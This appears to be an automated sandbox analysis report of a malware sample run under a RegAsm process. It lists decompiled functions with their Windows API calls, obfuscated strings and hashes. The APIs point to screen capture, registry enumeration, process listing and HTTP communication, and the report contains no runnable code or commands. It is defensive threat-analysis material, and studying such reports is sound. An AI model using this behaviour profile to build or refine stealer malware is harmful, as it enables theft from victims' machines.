lstrcmpW.KERNEL32(00000000,?), ref: 00410D37

Strings

]z6, xrefs: 0040F84B
]z6, xrefs: 00410499
p9lY, xrefs: 004102AB
z+B*, xrefs: 00410AD7
,Q=, xrefs: 0040FE93
D#b, xrefs: 00410B8E
8U[, xrefs: 004108A8
5}L, xrefs: 0040F212
D#b, xrefs: 0040ED2D
5}L, xrefs: 00410D3F
8U[, xrefs: 0040F7B0
p9lY, xrefs: 00410C63
z+B*, xrefs: 0040F13E
p9lY, xrefs: 0040F47C
]z6, xrefs: 0040EDC4
y+B*, xrefs: 0040F133
,Q=, xrefs: 0040FCD6
Wdb, xrefs: 00410CC4
jQnr-, xrefs: 0040F43D
p9lY, xrefs: 0040FFDA

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcmp$CreateFilelstrcatlstrlen
String ID: ,Q=$,Q=$5}L$5}L$D#b$D#b$jQnr-$p9lY$p9lY$p9lY$p9lY$y+B*$z+B*$z+B*$8U[$8U[$Wdb$]z6$]z6$]z6
API String ID: 4060627427-2906774030
Opcode ID: 961a2566ba273e6ba231deed209b154eed7df3662b54b2cc930da4d7fe5c4170
Instruction ID: 65774debdafe5111ceef73730a003ad0909a72d0d2bbecd448a284fbd20920da
Opcode Fuzzy Hash: 961a2566ba273e6ba231deed209b154eed7df3662b54b2cc930da4d7fe5c4170
Instruction Fuzzy Hash: 6EF2E8B0E012098BDF24CB59CA856BE77B1AB54310F24092BE506FB3D1D77999D1CB8B

Uniqueness

Uniqueness Score: -1.00%

Function 0042FB78 Relevance: 46.6, APIs: 14, Strings: 12, Instructions: 1129memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0042FE33
GetDIBits.GDI32(?,?,00000000,?,?,?,00000000), ref: 004304FE
ReleaseDC.USER32 ref: 00430508
HeapAlloc.KERNEL32(00000000,00000000,?), ref: 0042FE39

Part of subcall function 00431294: GetSystemMetrics.USER32 ref: 00431325
Part of subcall function 00431294: CreateDCW.GDI32(?,00000000,00000000,00000000), ref: 00431388
Part of subcall function 00431294: GetSystemMetrics.USER32 ref: 004313FD

Strings

f)=, xrefs: 0042FD04
f)=, xrefs: 00430BA6
e)=, xrefs: 0042FC28
:1x, xrefs: 00430E47
f)=, xrefs: 00430051
!F$, xrefs: 00430AC9
!F$, xrefs: 00430169
f)=, xrefs: 004303AA
:1x, xrefs: 00430478
f)=, xrefs: 00430552
f)=, xrefs: 00430A02
f)=, xrefs: 004301EC

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: HeapMetricsSystem$AllocBitsCreateProcessRelease
String ID: :1x$:1x$e)=$f)=$f)=$f)=$f)=$f)=$f)=$f)=$!F$$!F$
API String ID: 3040376304-592416677
Opcode ID: bb6898180dee1abdea941bbcf253aec547126e7f37d31fa2f000a6f0da5cd1f5
Instruction ID: d68b4f93653f734712ff7f5c30962399dce9cc81def5c8dd87dd17fc01db5794
Opcode Fuzzy Hash: bb6898180dee1abdea941bbcf253aec547126e7f37d31fa2f000a6f0da5cd1f5
Instruction Fuzzy Hash: E8A2E871E002198BDF24CF98D9656BEBBB5FB48304F64163BE005EB351D33899458F9A

Uniqueness

Uniqueness Score: -1.00%

Function 00432130 Relevance: 39.5, APIs: 11, Strings: 11, Instructions: 1027registryCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 004321E8
RegCloseKey.ADVAPI32(?), ref: 00432354
RegOpenKeyExW.KERNEL32(80000002,?,00000000,00020019,?,?,?,?,?,?,0042934A,?), ref: 004324FC
wsprintfW.USER32 ref: 004327EC
RegEnumKeyExW.KERNEL32 ref: 00432876
RegCloseKey.ADVAPI32(?), ref: 00432EF3
RegCloseKey.ADVAPI32(?), ref: 00432EF8
_strlen.LIBCMT ref: 00432F2F
RegCloseKey.ADVAPI32(?), ref: 00432F49

Strings

t^Xr, xrefs: 004329A1
?, xrefs: 00432D60
_wJl, xrefs: 00432204
[-/M, xrefs: 00432225
BbA, xrefs: 0043254C
`wJl, xrefs: 004327FD
Z-/M, xrefs: 0043221A
`wJl, xrefs: 00432DC8
s^Xr, xrefs: 00432369
[-/M, xrefs: 00432BFB
t^Xr, xrefs: 00432E38

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Close$wsprintf$EnumOpen_strlen
String ID: BbA$?$Z-/M$[-/M$[-/M$_wJl$`wJl$`wJl$s^Xr$t^Xr$t^Xr
API String ID: 4237616888-3247521511
Opcode ID: ab8525394ccd318c760f46afa7d06232f35db9c3b9feb6d71739b52659e3b4de
Instruction ID: ecf74252d7c328f2710fa7a4ed189e72928217706fe12092d021441dd80da1dd
Opcode Fuzzy Hash: ab8525394ccd318c760f46afa7d06232f35db9c3b9feb6d71739b52659e3b4de
Instruction Fuzzy Hash: FD82E571D0410A9BDF289F98CE4667E76B0FB1C300F24652BE515EB394D7B98A418B8B

Uniqueness

Uniqueness Score: -1.00%

Function 004118B6 Relevance: 29.7, APIs: 6, Strings: 10, Instructions: 1744stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(778182B0,7B829D7E), ref: 00411E6B
lstrcatW.KERNEL32(778182B0,?), ref: 00412403
lstrcatW.KERNEL32(?,8410C221), ref: 0041333C

Strings

!*2y, xrefs: 00411A8C
Pc>2, xrefs: 00412515
"*2y, xrefs: 00412488
vTT, xrefs: 00411BD9
D@D, xrefs: 004118E7
|C?g, xrefs: 00411A81
Pc>2, xrefs: 00412806
}C?g, xrefs: 0041200C
D@D, xrefs: 00411BCE
}C?g, xrefs: 004124EF

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: !*2y$"*2y$D@D$D@D$Pc>2$Pc>2$vTT$|C?g$}C?g$}C?g
API String ID: 4038537762-1154530197
Opcode ID: 8fdd1ed8e5b778af510f68b91defb39f8f87b8bb22ab86dc7083df389a6e0ac0
Instruction ID: 27e6e9d45b57d3cee8e3eb274bf968d618a2379235462c408c449a921eceaa01
Opcode Fuzzy Hash: 8fdd1ed8e5b778af510f68b91defb39f8f87b8bb22ab86dc7083df389a6e0ac0
Instruction Fuzzy Hash: 03E2C871E016199BDF24EF98C981AFE7670AB05304F24451BE605EB3A0D3788AD1DBDB

Uniqueness

Uniqueness Score: -1.00%

Function 0041DE1F Relevance: 28.6, APIs: 9, Strings: 7, Instructions: 617COMMON

Download Yara Rule

APIs

WinHttpOpenRequest.WINHTTP ref: 0041DEE5
WinHttpOpen.WINHTTP ref: 0041DFF4
_strlen.LIBCMT ref: 0041E0CB
WinHttpCloseHandle.WINHTTP ref: 0041E1CC
WinHttpReceiveResponse.WINHTTP ref: 0041E43D
WinHttpCloseHandle.WINHTTP ref: 0041E503
WinHttpCloseHandle.WINHTTP ref: 0041E71A
WinHttpConnect.WINHTTP ref: 0041E78D
WinHttpSendRequest.WINHTTP ref: 0041E882

Strings

xG%, xrefs: 0041E062
P, xrefs: 0041E785
Qcz, xrefs: 0041E057
rX, xrefs: 0041E570
Qcz, xrefs: 0041E4C1
TX, xrefs: 0041E67C
Qcz, xrefs: 0041E3DC

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Http$CloseHandle$OpenRequest$ConnectReceiveResponseSend_strlen
String ID: P$Qcz$Qcz$Qcz$TX$rX$xG%
API String ID: 3290223438-1430991242
Opcode ID: 344e4e375317b76dbdabc4b69f2e3f416e796e7f2dc9abd6bde1648fcfbcea9b
Instruction ID: d16d87c1f3a7754654c0616d20df139bbde8b0eb83fc76860f2b936885c04e04
Opcode Fuzzy Hash: 344e4e375317b76dbdabc4b69f2e3f416e796e7f2dc9abd6bde1648fcfbcea9b
Instruction Fuzzy Hash: AC429FB5D047098FDB14EF99C5886EEBBF0AB94300F14492BE815EB350D7788985CB8B

Uniqueness

Uniqueness Score: -1.00%

Function 004090F8 Relevance: 27.4, APIs: 10, Strings: 5, Instructions: 1156libraryloaderprocessCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?), ref: 004093C6
GetModuleHandleW.KERNEL32(?), ref: 00409599
GetProcAddress.KERNEL32(?,?), ref: 004096FA
CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0040A409
Process32FirstW.KERNEL32(?,?), ref: 0040A423

Strings

D@D, xrefs: 00409A17
"*2y, xrefs: 00409EC4
"*2y, xrefs: 0040945D
C@D, xrefs: 0040953B
9, xrefs: 0040A1AD

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$CreateFirstHandleModuleProcess32SnapshotToolhelp32
String ID: "*2y$"*2y$9$C@D$D@D
API String ID: 3265287541-2590425928
Opcode ID: d7888a6f0540df15007fd4160b7ba3035e11df803ac81f99cb91972441f3abd6
Instruction ID: 34b8d58beaa096617f5e474222152995c9015bdab263341ec297e93acded2113
Opcode Fuzzy Hash: d7888a6f0540df15007fd4160b7ba3035e11df803ac81f99cb91972441f3abd6
Instruction Fuzzy Hash: 1DA29174E0030A9BDF148B98D8869BE7BB0AB45304F64453BE515FB3E2D3788D518B9B

Uniqueness

Uniqueness Score: -1.00%

Function 0040D60C Relevance: 21.9, APIs: 5, Strings: 7, Instructions: 905COMMON

Download Yara Rule

Strings

t^Xr, xrefs: 0040DC46
`wJl, xrefs: 0040DA14
BbA, xrefs: 0040D680
[-/M, xrefs: 0040DD81
`wJl, xrefs: 0040DF8D
D, xrefs: 0040E08D
[-/M, xrefs: 0040DEC3

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: BbA$D$[-/M$[-/M$`wJl$`wJl$t^Xr
API String ID: 0-708496267
Opcode ID: 68b0cf2053630d96c6c7e9ae1dc0b31816f1100809514ed18577e2bdcb0c5012
Instruction ID: c58851619371432470393b983a7909cf4188d6597b0ba0081fda2667d935a13e
Opcode Fuzzy Hash: 68b0cf2053630d96c6c7e9ae1dc0b31816f1100809514ed18577e2bdcb0c5012
Instruction Fuzzy Hash: 307208B1D001098BDF24DB99C88567E7AB0AB54300F280D3BE515FB3D2D77ACA558B9B

Uniqueness

Uniqueness Score: -1.00%

Function 0040A878 Relevance: 21.7, APIs: 7, Strings: 5, Instructions: 734fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?,00000000), ref: 0040AB31
CloseHandle.KERNEL32(?), ref: 0040AB3A
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 0040ABC7
CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0040ABE3
ExitProcess.KERNEL32 ref: 0040B522

Strings

e)=, xrefs: 0040AC09
f)=, xrefs: 0040AD46
f)=, xrefs: 0040B020
:1x, xrefs: 0040AEA6
91x, xrefs: 0040AA1B

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$CloseCreateExitHandleModuleNameProcessRead
String ID: 91x$:1x$e)=$f)=$f)=
API String ID: 1071776683-4185138681
Opcode ID: 428e4df45deb3a195276ab61222abbe9fc063120b6bdb81bb96080e113e47a04
Instruction ID: c2f796b02151e558e4cd2405a28089c1003d7c260324ffc2d6cd1f06cfe82e6b
Opcode Fuzzy Hash: 428e4df45deb3a195276ab61222abbe9fc063120b6bdb81bb96080e113e47a04
Instruction Fuzzy Hash: F55290719007018BDB389F19C59462A76E0EF14314768C93FE196EBBE1E73CE8568B4B

Uniqueness

Uniqueness Score: -1.00%

Function 00421AC8 Relevance: 13.1, APIs: 2, Strings: 5, Instructions: 828COMMON

Download Yara Rule

APIs

GetAdaptersInfo.IPHLPAPI(?,?), ref: 004226CF

Strings

`wJl, xrefs: 004226EA
[-/M, xrefs: 00422066
[-/M, xrefs: 004227A1
BbA, xrefs: 00421AEA
`wJl, xrefs: 00421D33

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AdaptersInfo
String ID: BbA$[-/M$[-/M$`wJl$`wJl
API String ID: 3177971545-1840906695
Opcode ID: de66aee730ffd3c215ff0d257bfd620dc9021a0f2271fca5b3861f45361d8d01
Instruction ID: 357383bcf4038bb756c9dd97774ee4b78dfcc2a21f2e836d74d6459984ec56c8
Opcode Fuzzy Hash: de66aee730ffd3c215ff0d257bfd620dc9021a0f2271fca5b3861f45361d8d01
Instruction Fuzzy Hash: 0762C870F002259BDF24DB98EAC267FB6B0AB14344FA4452BD512EB361D778D941CB8B

Uniqueness

Uniqueness Score: -1.00%

Function 0042353E Relevance: 11.4, APIs: 1, Strings: 5, Instructions: 883COMMON

Download Yara Rule

Strings

U:, xrefs: 00423AAD
U:, xrefs: 00423EA7
EM%, xrefs: 00423650
W<, xrefs: 004237E9
W<, xrefs: 00424088

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: W<$W<$EM%$U:$U:
API String ID: 0-3100889655
Opcode ID: 2acc81a196aef4ad8d5efe5f7b883e71b121b0c618f250bed290e11b345be0d2
Instruction ID: 25a5b04562af2c4b790086615b988222b414277d9acbe366002a3a0a7583ab3c
Opcode Fuzzy Hash: 2acc81a196aef4ad8d5efe5f7b883e71b121b0c618f250bed290e11b345be0d2
Instruction Fuzzy Hash: F86238B1F00229ABDF249E9CA84167EB670EB54701FA00517E519FB391D37C9F818B9B

Uniqueness

Uniqueness Score: -1.00%

Function 00430EEA Relevance: 10.7, APIs: 7, Instructions: 157
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateCompatibleBitmap.GDI32(?,?,?), ref: 00431037
CreateCompatibleDC.GDI32(?), ref: 0043104C
SelectObject.GDI32(?,?), ref: 0043109C
BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 004310B7
SelectObject.GDI32(?,?), ref: 004310C5
DeleteDC.GDI32 ref: 004310D2
DeleteObject.GDI32(?), ref: 0043113A

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Object$CompatibleCreateDeleteSelect$Bitmap
String ID:
API String ID: 1142853709-0
Opcode ID: 91a93a37c38de53ea23a9c0a877a077755f0aaa02433f2fb45de1368452a670a
Instruction ID: b3fdffc199ab65b3733d76c9567b11c1eb2783c9ec3a81129b568f504c4985c9
Opcode Fuzzy Hash: 91a93a37c38de53ea23a9c0a877a077755f0aaa02433f2fb45de1368452a670a
Instruction Fuzzy Hash: B4514D319083046BDA305B58CC8452F76E5EB9D318F116A3BFA59E7770D279CC809B8B

Uniqueness

Uniqueness Score: -1.00%

Function 0040E568 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 372
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtReadFile.NTDLL(?,00000000,00000000,00000000,?,?,?,00000000,00000000), ref: 0040EA7C

Strings

=9, xrefs: 0040E77E
)y, xrefs: 0040EA5A
)y, xrefs: 0040E5B7
=9, xrefs: 0040E7EE

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FileRead
String ID: )y$)y$=9$=9
API String ID: 2738559852-3900081360
Opcode ID: b62ac9012c6dbb90d36e0795c4f6f646ad1cb69db37553c556063bf5520f8dc1
Instruction ID: 72160566d51f1fbe540357022a01a48e756a4f683f43373904d48a77567efc0a
Opcode Fuzzy Hash: b62ac9012c6dbb90d36e0795c4f6f646ad1cb69db37553c556063bf5520f8dc1
Instruction Fuzzy Hash: D2D10CB1D01209ABDF149BDACE466AE7B70AB54304F240D37E505F73D1E37899628B8B

Uniqueness

Uniqueness Score: -1.00%

Function 00458344 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004529A4: RtlFreeHeap.NTDLL(00000000,00000000,?,00455CE1,?,00000000,?,?,00455BFD,?,00000007,?,?,00456339,?,?), ref: 004529BA
Part of subcall function 004529A4: GetLastError.KERNEL32(?,?,00455CE1,?,00000000,?,?,00455BFD,?,00000007,?,?,00456339,?,?), ref: 004529C5

GetTimeZoneInformation.KERNEL32(00000000,00000000,00000000,004587D8,0041A797,?), ref: 004583B6

Strings

W. Europe Standard Time, xrefs: 0045844F
W. Europe Daylight Time, xrefs: 00458463

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ErrorFreeHeapInformationLastTimeZone
String ID: W. Europe Daylight Time$W. Europe Standard Time
API String ID: 3335090040-986674615
Opcode ID: 745e8091ca43396c5768c430505b44f6a1d466d0ebeac642c5bb0174e9299731
Instruction ID: b685551fd1686a2fb22fb6dba49427adb5c2dffbef7d1536a4bdec0201957d12
Opcode Fuzzy Hash: 745e8091ca43396c5768c430505b44f6a1d466d0ebeac642c5bb0174e9299731
Instruction Fuzzy Hash: E231D372901211EBCB10AF66DC4295F7B68AF01755B11807FFC08E7262EB789D458B98

Uniqueness

Uniqueness Score: -1.00%

Function 0043E949 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0003EA73,0043E3C3), ref: 0043E94E

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 5e2fb61ac6d75a5f4229ec6f89e9841573719cdd5d8bbab4c92685ea8f0827a4
Instruction ID: 75304f21a955307eee70546b2b4ddbbcaf70fa27c0e1829879405b0b080d7e28
Opcode Fuzzy Hash: 5e2fb61ac6d75a5f4229ec6f89e9841573719cdd5d8bbab4c92685ea8f0827a4
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00403E89 Relevance: 19.7, APIs: 9, Strings: 2, Instructions: 492
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(?,?), ref: 00404005
lstrcatW.KERNEL32(?,?), ref: 0040408B
lstrcatW.KERNEL32(?,?), ref: 00404225
lstrcatW.KERNEL32(?,?), ref: 00404681
lstrcatW.KERNEL32(?,?), ref: 00404689
PathFileExistsW.SHLWAPI(?), ref: 0040468E

Part of subcall function 004039E8: lstrcatW.KERNEL32(?,?), ref: 00403CAA

Strings

EM%, xrefs: 00404013
0HSw, xrefs: 0040468E

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$ExistsFilePath
String ID: 0HSw$EM%
API String ID: 3040671737-4196880352
Opcode ID: 19145245dac5f61a9920dd66c0754e9353307ec59c0fe4546d6bdb2777f3f920
Instruction ID: 019312ed870352f255741bc0a2eff08941580c22a14376365b7255d196246e73
Opcode Fuzzy Hash: 19145245dac5f61a9920dd66c0754e9353307ec59c0fe4546d6bdb2777f3f920
Instruction Fuzzy Hash: 0402A1B1D005199BCF248F99C9415BEBAB4FB54301F240A37E615FA3E0E37D9E418B9A

Uniqueness

Uniqueness Score: -1.00%

Function 004039E8 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 293
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(?,?), ref: 00403CAA
lstrcatW.KERNEL32(?,?), ref: 00403CCF
lstrcatW.KERNEL32(?,26CFC4F5), ref: 00403CD7
lstrcatW.KERNEL32(?,?), ref: 00403D4E
lstrcatW.KERNEL32(?,?), ref: 00403D56
lstrcatW.KERNEL32(?,?), ref: 00403D7B
lstrcatW.KERNEL32(?), ref: 00403DB1
lstrcatW.KERNEL32(?,?), ref: 00403DB9

Strings

xG%, xrefs: 00403CBD
xG%, xrefs: 00403A96

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: xG%$xG%
API String ID: 4038537762-81035698
Opcode ID: 89169f92c5ff6abe6db00746a2ad07dc7cdee4232795b944825f756f97745120
Instruction ID: dbbb0f2f98305b37a0813a7b16e56cdb622eb9a3d041120435c394f279a66c68
Opcode Fuzzy Hash: 89169f92c5ff6abe6db00746a2ad07dc7cdee4232795b944825f756f97745120
Instruction Fuzzy Hash: 5EB1D3B2E001599BDF109F99CC429AEBE78BF18315F244527E610F63E1D3798E518F8A

Uniqueness

Uniqueness Score: -1.00%

Function 00431294 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 165
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 00431325
CreateDCW.GDI32(?,00000000,00000000,00000000), ref: 00431388
GetSystemMetrics.USER32 ref: 004313FD
DeleteDC.GDI32(?), ref: 004314E4

Strings

xG%, xrefs: 004312EB
xG%, xrefs: 0043142C
xG%, xrefs: 004313A2

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: MetricsSystem$CreateDelete
String ID: xG%$xG%$xG%
API String ID: 1043530637-1616704207
Opcode ID: 15ca8358abb26186f66532ea6359700e49478575d0e667f08ad233f8822f48a9
Instruction ID: e9c40f6a15dddf9dbe83c8755fe1fb163e7e7b328ee19a1304f3c76adae135dc
Opcode Fuzzy Hash: 15ca8358abb26186f66532ea6359700e49478575d0e667f08ad233f8822f48a9
Instruction Fuzzy Hash: 82519271A015088BDB188B98C895D7FBAB1EB5E310F24916BE405FB7B0D2398D41CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0044A3E1 Relevance: 9.3, APIs: 6, Instructions: 269
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__allrem.LIBCMT ref: 0044A574
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0044A590
__allrem.LIBCMT ref: 0044A5A7
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0044A5C5
__allrem.LIBCMT ref: 0044A5DC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0044A5FA

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 76ca201493bb83aaf46ee007f7f77b7bba37b378c657e849609f34754678066f
Instruction ID: b3176deeb9469e28d83986d5f917790c144a0a2151f969da53a61cbd84574c37
Opcode Fuzzy Hash: 76ca201493bb83aaf46ee007f7f77b7bba37b378c657e849609f34754678066f
Instruction Fuzzy Hash: 34813A72640702ABF7209E29CC41B5BB3E8AF44768F18852FF850D7381EB7CD9148B5A

Uniqueness

Uniqueness Score: -1.00%

Function 0041F61B Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 501
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfW.USER32 ref: 0041F859

Strings

12-,, xrefs: 0041F96B
22-,, xrefs: 0041FC52
22-,, xrefs: 0041FA4B

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: 12-,$22-,$22-,
API String ID: 2111968516-2394718100
Opcode ID: dbd06457c685b663b533965a07de630c94edb0aa1b6bebf630c81ce3fc7ccd52
Instruction ID: 45e11c90b083a34c74afa44042dbd8fae15240d472943dab030a7e140943edd6
Opcode Fuzzy Hash: dbd06457c685b663b533965a07de630c94edb0aa1b6bebf630c81ce3fc7ccd52
Instruction Fuzzy Hash: 1FF146B1E4020477EB30AA659C43FFF7668DF94704F14002BF906B62C2F66D5A5986AF

Uniqueness

Uniqueness Score: -1.00%

Function 00431611 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 282
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00431A59
RtlFreeHeap.NTDLL(00000000,00000000,?), ref: 00431A65

Strings

rA1, xrefs: 00431A4B
rA1, xrefs: 004319D7

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$FreeProcess
String ID: rA1$rA1
API String ID: 3859560861-1067413765
Opcode ID: eb3979cf1f0df080846623921bffe89daadc0bbb0761717552fcb96ffe315027
Instruction ID: 8d5e244fba8c10277f25dc0e229f9d9329a954147724a43cb36a3de5bc518df9
Opcode Fuzzy Hash: eb3979cf1f0df080846623921bffe89daadc0bbb0761717552fcb96ffe315027
Instruction Fuzzy Hash: F4A13BB2E002059BDF145B98CC4367EB6B5AB4D314F18252BE516FB3B0E33889028B5F

Uniqueness

Uniqueness Score: -1.00%

Function 00458302 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 140
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(00000000,00000000,00000000,004587D8,0041A797,?), ref: 004583B6

Part of subcall function 00457983: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,0045C6DE,?,00000000,-00000008), ref: 00457A2F

Strings

W. Europe Standard Time, xrefs: 0045844F
W. Europe Daylight Time, xrefs: 00458463

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ByteCharInformationMultiTimeWideZone
String ID: W. Europe Daylight Time$W. Europe Standard Time
API String ID: 1123094072-986674615
Opcode ID: 5f24418075749d13fc75f551a66467be3036c2819f2c92a54c1292c35efba54f
Instruction ID: 8e75fc2205778e254781db170332f3caa3c92e623932e08251d7e455b1513b35
Opcode Fuzzy Hash: 5f24418075749d13fc75f551a66467be3036c2819f2c92a54c1292c35efba54f
Instruction Fuzzy Hash: 5E41D672901215FBDB10AF66DC02A5F7F68EF01755F10406BFD08A72A2EB799D448B98

Uniqueness

Uniqueness Score: -1.00%

Function 0044863C Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,0044871D,?,004484FD,?,?,57C18905,004484FD,?), ref: 0044864D
